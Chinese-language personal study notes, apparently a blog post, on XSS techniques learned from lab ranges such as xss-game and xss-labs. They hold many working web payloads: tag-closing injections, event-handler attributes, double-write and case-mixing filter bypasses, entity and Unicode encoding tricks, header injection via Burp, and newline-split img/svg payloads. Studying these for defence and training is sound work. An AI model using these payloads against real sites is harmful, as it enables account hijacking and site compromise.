做了几个xss攻击,想写一个大致的流程和xss攻击的方法。
1.首先要找到一个能进行输入的地方
比如说输入框/url.
2.要确认是否有XSS攻击的可能(说实话我也不知道确认。。基本是刷靶场没有实战过。。)
3.XSS攻击的大概方法
首先可以用最简单的<script>alert();<script>,输入进去然后审查下元素。看看有没有被转义。(PS.审查元素和源代码区别在于js渲染?)
然后如果没有转义,可以尝试闭合标签进行攻击。
<input type=""value=""><script>alert(document.domain)</script><">
?keyword="> <a href=javascript:alert('xss') > xss</a> //
在源代码/审查元素中,查看具体闭合的方法。
xss-game中有过利用逗号让函数并行,利用单引号闭合(大概吧)的题目。
3'),alert('1
如果<>被转义了,那么也可以利用onclick/onmouseover/onfoucs等等在<input>标签中添加属性。
" onmouseover="alert()
javascript:alert()
" οnclick=alert()
在xss-challenge里面遇到过利用空格给onclick加上双引号的题目,实际XSS攻击中要注意注入的内容的””是否遗漏,是否多余。
如果<>”:都被转义了,同时网页有多个注入点,可以尝试利用burp抓包直接修改变量值(利用burp抓包也可以绕过输入限制)
审查元素,如果发现script(还有onclick等等)被过滤或者被修改成scr_ipt等等,可以尝试双写绕过scriscriptpt,或者大小写过滤ScrIpt。
利用外部文件XSS注入,这个是xss-game的level6
//方法1
//编写一个简单的a.js程序
alert(1);
//利用url打开
HTTP:127.0.0.1/a.js
//方法2
data:text/javascript,alert(1);
如果发现在<a href=””></a>中注入,可以利用javascript:alert()
接下来的是我在xss-challenge攻略里面看到的,很遗憾我没做xss-challenge的11-20,做到第10题之后网页成空白了。o(╥﹏╥)o
将输入实体化。在script会被过滤时。
构造”><a href=javascript:alert(document)>1</a>< ,发现构造的语句中有script,我们把之中的r进行html实体一下script(还可以在script中间插入	, ,空格等不可见字符对script进行分割,让正则匹配不到)。
IE浏览器识别特性,ie浏览器会把 ` `(笔记本1左边那颗键两次)识别为双引号。(ie都没什么人用了,感觉了解一下就好。。 有时候可以利用浏览器特性攻击 )
百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码)
(也是看看就好,这个是xss-challenge的第13题)
一些绕过方法:
(1)能绕WAF的不止html实体,unicode编码也行如e -> \0065 ,\u0065 ;\0065xpression(这道题过滤了反斜杠,反斜杠零)
(2)在expression中加反斜杠分隔 ;ex\pression(不行,理由同上)
(3)在expression中加注释符//分隔;ex//pression 通过
(4)在expression中加反斜杠零分隔; ex\0pression 通过
利用编码绕过过滤,比如unicode。
在输入栏注入是可能需要输入点真实的,比如输入链接可能会用http://来判断你是否输入了链接。
利用隐藏的标签进行XSS。
//先尝试更改属性
?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"//这是xss-labs#10
//具体进行XSS攻击
?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
利用burp在http头中的referer进行XSS攻击。(xss-labs#11)
利用burp在http头中的cookie值攻击(xss-labs#13)
在 ng-include 指令中XSS攻击。
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
?src='level1.php?name=<img src=1 onerror=alert(1)>'
因为这里参数值算是一个地址,所以需要添加引号。
这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。
我个人的理解是打开一个php文件后,还传入了name变量,并且这个变量是有XSS漏洞的。
script、/、空格都被转义,利用大小写、双写都没有用的话,可以尝试利用<img>等不需要闭合的标签,然后在其中加入回车(%0a)
<img%0Dsrc=1%0Donerror=alert(1)>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>
<embed>
标签就是引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合
swf的xss漏洞,利用onclick、onmouseover等等。(xss-labs#17)
常见的可触发xss的危险函数有:
getURL
navigateToURL
ExternalInterface.call
htmlText
loadMovie
等
flash xss的注入感觉已经GG了。
属于flash xss,只需要对引用的swf文件,进行反编译然后进行源码分析。
进行反编译的工具是jpexs-decompiler
。 项目地址:https://github.com/jindrapetrik/jpexs-decompiler
如果需要的话在学习一下吧。